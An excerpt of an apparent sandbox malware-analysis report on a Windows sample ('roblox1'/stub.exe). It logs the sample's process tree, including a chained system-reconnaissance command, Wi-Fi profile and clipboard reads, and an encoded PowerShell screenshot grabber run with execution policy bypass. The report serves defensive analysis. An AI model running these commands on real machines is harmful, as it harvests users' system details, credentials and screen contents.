Imagebase:	0x7ff759970000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	09:08:40
Start date:	18/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "chcp"
Imagebase:	0x7ff7ef160000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: powershell.exePID: 5960, Parent PID: 6488

General

Target ID:	22
Start time:	09:08:40
Start date:	18/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe Get-Clipboard
Imagebase:	0x7ff6cb6b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	09:08:40
Start date:	18/12/2024
Path:	C:\Windows\System32\chcp.com
Wow64 process (32bit):	false
Commandline:	chcp
Imagebase:	0x7ff7d9090000
File size:	14'848 bytes
MD5 hash:	33395C4732A49065EA72590B14B64F32
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	09:08:41
Start date:	18/12/2024
Path:	C:\Windows\System32\chcp.com
Wow64 process (32bit):	false
Commandline:	chcp
Imagebase:	0x7ff7d9090000
File size:	14'848 bytes
MD5 hash:	33395C4732A49065EA72590B14B64F32
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	09:08:41
Start date:	18/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "echo ####System Info#### & systeminfo & echo ####System Version#### & ver & echo ####Host Name#### & hostname & echo ####Environment Variable#### & set & echo ####Logical Disk#### & wmic logicaldisk get caption,description,providername & echo ####User Info#### & net user & echo ####Online User#### & query user & echo ####Local Group#### & net localgroup & echo ####Administrators Info#### & net localgroup administrators & echo ####Guest User Info#### & net user guest & echo ####Administrator User Info#### & net user administrator & echo ####Startup Info#### & wmic startup get caption,command & echo ####Tasklist#### & tasklist /svc & echo ####Ipconfig#### & ipconfig/all & echo ####Hosts#### & type C:\WINDOWS\System32\drivers\etc\hosts & echo ####Route Table#### & route print & echo ####Arp Info#### & arp -a & echo ####Netstat#### & netstat -ano & echo ####Service Info#### & sc query type= service state= all & echo ####Firewallinfo#### & netsh firewall show state & netsh firewall show config"
Imagebase:	0x7ff7ef160000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	09:08:41
Start date:	18/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "netsh wlan show profiles"
Imagebase:	0x7ff7ef160000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	09:08:41
Start date:	18/12/2024
Path:	C:\Windows\System32\systeminfo.exe
Wow64 process (32bit):	false
Commandline:	systeminfo
Imagebase:	0x7ff6586f0000
File size:	110'080 bytes
MD5 hash:	EE309A9C61511E907D87B10EF226FDCD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	09:08:41
Start date:	18/12/2024
Path:	C:\Windows\System32\netsh.exe
Wow64 process (32bit):	false
Commandline:	netsh wlan show profiles
Imagebase:	0x7ff7ec720000
File size:	96'768 bytes
MD5 hash:	6F1E6DD688818BC3D1391D0CC7D597EB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	09:08:41
Start date:	18/12/2024
Path:	C:\Windows\System32\wbem\WmiPrvSE.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Imagebase:	0x7ff605670000
File size:	496'640 bytes
MD5 hash:	60FF40CFD7FB8FE41EE4FE9AE5FE1C51
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	30
Start time:	09:08:42
Start date:	18/12/2024
Path:	C:\Windows\System32\HOSTNAME.EXE
Wow64 process (32bit):	false
Commandline:	hostname
Imagebase:	0x7ff6ebeb0000
File size:	14'848 bytes
MD5 hash:	33AFAA43B84BDEAB12E02F9DBD2B2EE0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	09:08:42
Start date:	18/12/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic logicaldisk get caption,description,providername
Imagebase:	0x7ff6850e0000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	09:08:43
Start date:	18/12/2024
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net user
Imagebase:	0x7ff66c150000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	09:08:43
Start date:	18/12/2024
Path:	C:\Windows\System32\net1.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\net1 user
Imagebase:	0x7ff6474d0000
File size:	183'808 bytes
MD5 hash:	55693DF2BB3CBE2899DFDDF18B4EB8C9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	09:08:44
Start date:	18/12/2024
Path:	C:\Windows\System32\query.exe
Wow64 process (32bit):	false
Commandline:	query user
Imagebase:	0x7ff7dca70000
File size:	17'408 bytes
MD5 hash:	29043BC0B0F99EAFF36CAD35CBEE8D45
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	09:08:45
Start date:	18/12/2024
Path:	C:\Windows\System32\quser.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\quser.exe"
Imagebase:	0x7ff7cb260000
File size:	25'600 bytes
MD5 hash:	480868AEBA9C04CA04D641D5ED29937B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	09:08:45
Start date:	18/12/2024
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net localgroup
Imagebase:	0x7ff66c150000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	09:08:45
Start date:	18/12/2024
Path:	C:\Windows\System32\net1.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\net1 localgroup
Imagebase:	0x7ff6474d0000
File size:	183'808 bytes
MD5 hash:	55693DF2BB3CBE2899DFDDF18B4EB8C9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	09:08:45
Start date:	18/12/2024
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net localgroup administrators
Imagebase:	0x7ff66c150000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	09:08:45
Start date:	18/12/2024
Path:	C:\Windows\System32\net1.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\net1 localgroup administrators
Imagebase:	0x7ff6474d0000
File size:	183'808 bytes
MD5 hash:	55693DF2BB3CBE2899DFDDF18B4EB8C9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	09:08:45
Start date:	18/12/2024
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net user guest
Imagebase:	0x7ff66c150000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	09:08:45
Start date:	18/12/2024
Path:	C:\Windows\System32\net1.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\net1 user guest
Imagebase:	0x7ff6474d0000
File size:	183'808 bytes
MD5 hash:	55693DF2BB3CBE2899DFDDF18B4EB8C9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	09:08:46
Start date:	18/12/2024
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net user administrator
Imagebase:	0x7ff66c150000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	09:08:46
Start date:	18/12/2024
Path:	C:\Windows\System32\net1.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\net1 user administrator
Imagebase:	0x7ff6474d0000
File size:	183'808 bytes
MD5 hash:	55693DF2BB3CBE2899DFDDF18B4EB8C9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	09:08:46
Start date:	18/12/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic startup get caption,command
Imagebase:	0x7ff6850e0000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	09:08:47
Start date:	18/12/2024
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist /svc
Imagebase:	0x7ff759970000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	09:08:48
Start date:	18/12/2024
Path:	C:\Windows\System32\ipconfig.exe
Wow64 process (32bit):	false
Commandline:	ipconfig /all
Imagebase:	0x7ff63c480000
File size:	35'840 bytes
MD5 hash:	62F170FB07FDBB79CEB7147101406EB8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	09:08:48
Start date:	18/12/2024
Path:	C:\Windows\System32\ROUTE.EXE
Wow64 process (32bit):	false
Commandline:	route print
Imagebase:	0x7ff632250000
File size:	24'576 bytes
MD5 hash:	3C97E63423E527BA8381E81CBA00B8CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	09:08:49
Start date:	18/12/2024
Path:	C:\Windows\System32\ARP.EXE
Wow64 process (32bit):	false
Commandline:	arp -a
Imagebase:	0x7ff7fb0a0000
File size:	26'624 bytes
MD5 hash:	2AF1B2C042B83437A4BE82B19749FA98
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	49
Start time:	09:08:49
Start date:	18/12/2024
Path:	C:\Windows\System32\NETSTAT.EXE
Wow64 process (32bit):	false
Commandline:	netstat -ano
Imagebase:	0x7ff6cf460000
File size:	39'936 bytes
MD5 hash:	7FDDD6681EA81CE26E64452336F479E6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	50
Start time:	09:08:49
Start date:	18/12/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc query type= service state= all
Imagebase:	0x7ff7d0b40000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	51
Start time:	09:08:49
Start date:	18/12/2024
Path:	C:\Windows\System32\netsh.exe
Wow64 process (32bit):	false
Commandline:	netsh firewall show state
Imagebase:	0x7ff7ec720000
File size:	96'768 bytes
MD5 hash:	6F1E6DD688818BC3D1391D0CC7D597EB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	52
Start time:	09:08:49
Start date:	18/12/2024
Path:	C:\Windows\System32\netsh.exe
Wow64 process (32bit):	false
Commandline:	netsh firewall show config
Imagebase:	0x7ff7ec720000
File size:	96'768 bytes
MD5 hash:	6F1E6DD688818BC3D1391D0CC7D597EB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	53
Start time:	09:08:55
Start date:	18/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
Imagebase:	0x7ff7ef160000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: WMIC.exePID: 4352, Parent PID: 4784

General

Target ID:	54
Start time:	09:08:55
Start date:	18/12/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic csproduct get uuid
Imagebase:	0x7ff6850e0000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	55
Start time:	09:08:56
Start date:	18/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand WwBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAVwBpAHQAaABQAGEAcgB0AGkAYQBsAE4AYQBtAGUAKAAiAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAiACkADQAKAGYAdQBuAGMAdABpAG8AbgAgAHMAYwByAGUAZQBuAHMAaABvAHQAKABbAEQAcgBhAHcAaQBuAGcALgBSAGUAYwB0AGEAbgBnAGwAZQBdACQAYgBvAHUAbgBkAHMALAAgACQAcABhAHQAaAApACAAewANAAoAIAAgACAAJABiAG0AcAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAARAByAGEAdwBpAG4AZwAuAEIAaQB0AG0AYQBwACAAJABiAG8AdQBuAGQAcwAuAHcAaQBkAHQAaAAsACAAJABiAG8AdQBuAGQAcwAuAGgAZQBpAGcAaAB0AA0ACgAgACAAIAAkAGcAcgBhAHAAaABpAGMAcwAgAD0AIABbAEQAcgBhAHcAaQBuAGcALgBHAHIAYQBwAGgAaQBjAHMAXQA6ADoARgByAG8AbQBJAG0AYQBnAGUAKAAkAGIAbQBwACkADQAKAA0ACgAgACAAIAAkAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoACQAYgBvAHUAbgBkAHMALgBMAG8AYwBhAHQAaQBvAG4ALAAgAFsARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdABdADoAOgBFAG0AcAB0AHkALAAgACQAYgBvAHUAbgBkAHMALgBzAGkAegBlACkADQAKAA0ACgAgACAAIAAkAGIAbQBwAC4AUwBhAHYAZQAoACQAcABhAHQAaAApAA0ACgANAAoAIAAgACAAJABnAHIAYQBwAGgAaQBjAHMALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAIAAgACAAJABiAG0AcAAuAEQAaQBzAHAAbwBzAGUAKAApAA0ACgB9AA0ACgANAAoAJABiAG8AdQBuAGQAcwAgAD0AIABbAEQAcgBhAHcAaQBuAGcALgBSAGUAYwB0AGEAbgBnAGwAZQBdADoAOgBGAHIAbwBtAEwAVABSAEIAKAAwACwAIAAwACwAIAAxADkAMgAwACwAIAAxADAAOAAwACkADQAKACQAcABhAHQAaAAgAD0AIAAoAEcAZQB0AC0ASQB0AGUAbQAgAC4AKQAuAEYAdQBsAGwATgBhAG0AZQArACIAXABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AcABuAGcAIgANAAoAcwBjAHIAZQBlAG4AcwBoAG8AdAAgACQAYgBvAHUAbgBkAHMAIAAkAHAAYQB0AGgA"
Imagebase:	0x7ff7ef160000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	56
Start time:	09:08:56
Start date:	18/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand WwBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAVwBpAHQAaABQAGEAcgB0AGkAYQBsAE4AYQBtAGUAKAAiAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAiACkADQAKAGYAdQBuAGMAdABpAG8AbgAgAHMAYwByAGUAZQBuAHMAaABvAHQAKABbAEQAcgBhAHcAaQBuAGcALgBSAGUAYwB0AGEAbgBnAGwAZQBdACQAYgBvAHUAbgBkAHMALAAgACQAcABhAHQAaAApACAAewANAAoAIAAgACAAJABiAG0AcAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAARAByAGEAdwBpAG4AZwAuAEIAaQB0AG0AYQBwACAAJABiAG8AdQBuAGQAcwAuAHcAaQBkAHQAaAAsACAAJABiAG8AdQBuAGQAcwAuAGgAZQBpAGcAaAB0AA0ACgAgACAAIAAkAGcAcgBhAHAAaABpAGMAcwAgAD0AIABbAEQAcgBhAHcAaQBuAGcALgBHAHIAYQBwAGgAaQBjAHMAXQA6ADoARgByAG8AbQBJAG0AYQBnAGUAKAAkAGIAbQBwACkADQAKAA0ACgAgACAAIAAkAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoACQAYgBvAHUAbgBkAHMALgBMAG8AYwBhAHQAaQBvAG4ALAAgAFsARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdABdADoAOgBFAG0AcAB0AHkALAAgACQAYgBvAHUAbgBkAHMALgBzAGkAegBlACkADQAKAA0ACgAgACAAIAAkAGIAbQBwAC4AUwBhAHYAZQAoACQAcABhAHQAaAApAA0ACgANAAoAIAAgACAAJABnAHIAYQBwAGgAaQBjAHMALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAIAAgACAAJABiAG0AcAAuAEQAaQBzAHAAbwBzAGUAKAApAA0ACgB9AA0ACgANAAoAJABiAG8AdQBuAGQAcwAgAD0AIABbAEQAcgBhAHcAaQBuAGcALgBSAGUAYwB0AGEAbgBnAGwAZQBdADoAOgBGAHIAbwBtAEwAVABSAEIAKAAwACwAIAAwACwAIAAxADkAMgAwACwAIAAxADAAOAAwACkADQAKACQAcABhAHQAaAAgAD0AIAAoAEcAZQB0AC0ASQB0AGUAbQAgAC4AKQAuAEYAdQBsAGwATgBhAG0AZQArACIAXABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AcABuAGcAIgANAAoAcwBjAHIAZQBlAG4AcwBoAG8AdAAgACQAYgBvAHUAbgBkAHMAIAAkAHAAYQB0AGgA
Imagebase:	0x7ff6cb6b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	58
Start time:	09:08:58
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	59
Start time:	09:09:01
Start date:	18/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
Imagebase:	0x7ff7ef160000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: WMIC.exePID: 3908, Parent PID: 5844

General

Target ID:	60
Start time:	09:09:01
Start date:	18/12/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	true
Commandline:	wmic csproduct get uuid
Imagebase:	0x980000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Function 00007FF7AC5F1125 Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1971861789.00007FF7AC5F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AC5F0000, based on PE: true

Associated: 00000000.00000002.1971831715.00007FF7AC5F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1971901510.00007FF7AC60D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1971928821.00007FF7AC60E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1971955809.00007FF7AC612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1971999843.00007FF7AC614000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1971999843.00007FF7AC630000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1971999843.00007FF7AC633000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1971999843.00007FF7AC638000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1972124086.00007FF7AC63B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1972124086.00007FF7AD03B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ac5f0000_roblox1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0223baef4331ed4ed1a8c7beb13d382d990cc06f23f219c2883b323266e75979
Instruction ID: 2c3a519e101296b28af294e22c6f8ae84654713980c6d097afeb44457a54afc9
Opcode Fuzzy Hash: 0223baef4331ed4ed1a8c7beb13d382d990cc06f23f219c2883b323266e75979
Instruction Fuzzy Hash: 4EC08C35A09202E8F300BF24C8023A873346B00B00F958030D9080BBA2CB3CE0024A60

Analysis Process: stub.exePID: 3428, Parent PID: 1364COMMON

Execution Graph

Execution Coverage:	0.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	5.8%
Total number of Nodes:	1164
Total number of Limit Nodes:	3

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00007FFBAAF2BA70 Relevance: 17.5, APIs: 7, Strings: 3, Instructions: 48
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PyImport_ImportModule.PYTHON310(?,?,?,?,00007FFBAAF1F2B1), ref: 00007FFBAAF2BA88
PyErr_WriteUnraisable.PYTHON310(?,?,?,?,00007FFBAAF1F2B1), ref: 00007FFBAAF2BA95
PyErr_WarnEx.PYTHON310(?,?,?,?,00007FFBAAF1F2B1), ref: 00007FFBAAF2BAB2
_Py_Dealloc.PYTHON310(?,?,?,?,00007FFBAAF1F2B1), ref: 00007FFBAAF2BAE8
PyImport_ImportModule.PYTHON310(?,?,?,?,00007FFBAAF1F2B1), ref: 00007FFBAAF2BAF5
_Py_Dealloc.PYTHON310(?,?,?,?,00007FFBAAF1F2B1), ref: 00007FFBAAF2BB16
PyErr_Clear.PYTHON310(?,?,?,?,00007FFBAAF1F2B1), ref: 00007FFBAAF2BB23

Strings

collections.abc, xrefs: 00007FFBAAF2BA81
backports_abc, xrefs: 00007FFBAAF2BAEE
Cython module failed to register with collections.abc module, xrefs: 00007FFBAAF2BAA2

Memory Dump Source

Source File: 00000003.00000002.1962008991.00007FFBAAF01000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FFBAAF00000, based on PE: true

Associated: 00000003.00000002.1961973099.00007FFBAAF00000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000003.00000002.1962060335.00007FFBAAF34000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000003.00000002.1962091897.00007FFBAAF3F000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000003.00000002.1962127369.00007FFBAAF44000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffbaaf00000_stub.jbxd

Similarity

API ID: Err_$DeallocImportImport_Module$ClearUnraisableWarnWrite
String ID: Cython module failed to register with collections.abc module$backports_abc$collections.abc
API String ID: 3055409517-3167216013
Opcode ID: 32d2d8ebaf427c9915a4c14e45b7913cd146b6d879e27b526b4b3a765f1a64f7
Instruction ID: 0afebd9395481130e2dd6dabcea5760373902b981ba5268088ab2b8858b3a2d7
Opcode Fuzzy Hash: 32d2d8ebaf427c9915a4c14e45b7913cd146b6d879e27b526b4b3a765f1a64f7
Instruction Fuzzy Hash: 4411BFA0E0B603C1FF5EAB71EC652B56298AF54B56F4410B5CD1DC6290EE3FA44B8730

Non-executed Functions

Function 00007FFBAAF173D0 Relevance: 63.4, APIs: 31, Strings: 5, Instructions: 437
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PyErr_SetString.PYTHON310(?,?,?,?,?,00007FFBAAF0B7AE), ref: 00007FFBAAF17402
_Py_Dealloc.PYTHON310(?,?,?,?,?,00007FFBAAF0B7AE), ref: 00007FFBAAF17B22
_Py_Dealloc.PYTHON310(?,?,?,?,?,00007FFBAAF0B7AE), ref: 00007FFBAAF17B31

Strings

unicode, xrefs: 00007FFBAAF176ED
Expected %s, got %.200s, xrefs: 00007FFBAAF176F8
object of type 'NoneType' has no len(), xrefs: 00007FFBAAF178AA
'NoneType' object is not subscriptable, xrefs: 00007FFBAAF173F8, 00007FFBAAF1746D, 00007FFBAAF17514, 00007FFBAAF1758C, 00007FFBAAF17604, 00007FFBAAF1767C, 00007FFBAAF17742, 00007FFBAAF177BA, 00007FFBAAF17832, 00007FFBAAF179F7
aiohttp._http_parser.__pyx_unpickle_RawResponseMessage__set_state, xrefs: 00007FFBAAF17B03

Memory Dump Source

Source File: 00000003.00000002.1962008991.00007FFBAAF01000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FFBAAF00000, based on PE: true

Associated: 00000003.00000002.1961973099.00007FFBAAF00000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000003.00000002.1962060335.00007FFBAAF34000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000003.00000002.1962091897.00007FFBAAF3F000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000003.00000002.1962127369.00007FFBAAF44000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffbaaf00000_stub.jbxd

Similarity

API ID: Dealloc$Err_String
String ID: 'NoneType' object is not subscriptable$Expected %s, got %.200s$aiohttp._http_parser.__pyx_unpickle_RawResponseMessage__set_state$object of type 'NoneType' has no len()$unicode
API String ID: 2454408770-2005241057
Opcode ID: c017620a9760a9442f8f73742133af3e48a736a1fd6c906f475f2f53871eb7e5
Instruction ID: 22bf0d00cad47d8efe4c9b3898d59d7fba2cc48d41f045359c0775be40b90f0c
Opcode Fuzzy Hash: c017620a9760a9442f8f73742133af3e48a736a1fd6c906f475f2f53871eb7e5
Instruction Fuzzy Hash: 542261A5E0AA52C1FB5BAB35E95027527A8BB44B95F0440B2CF2D87794DF2FF4068730

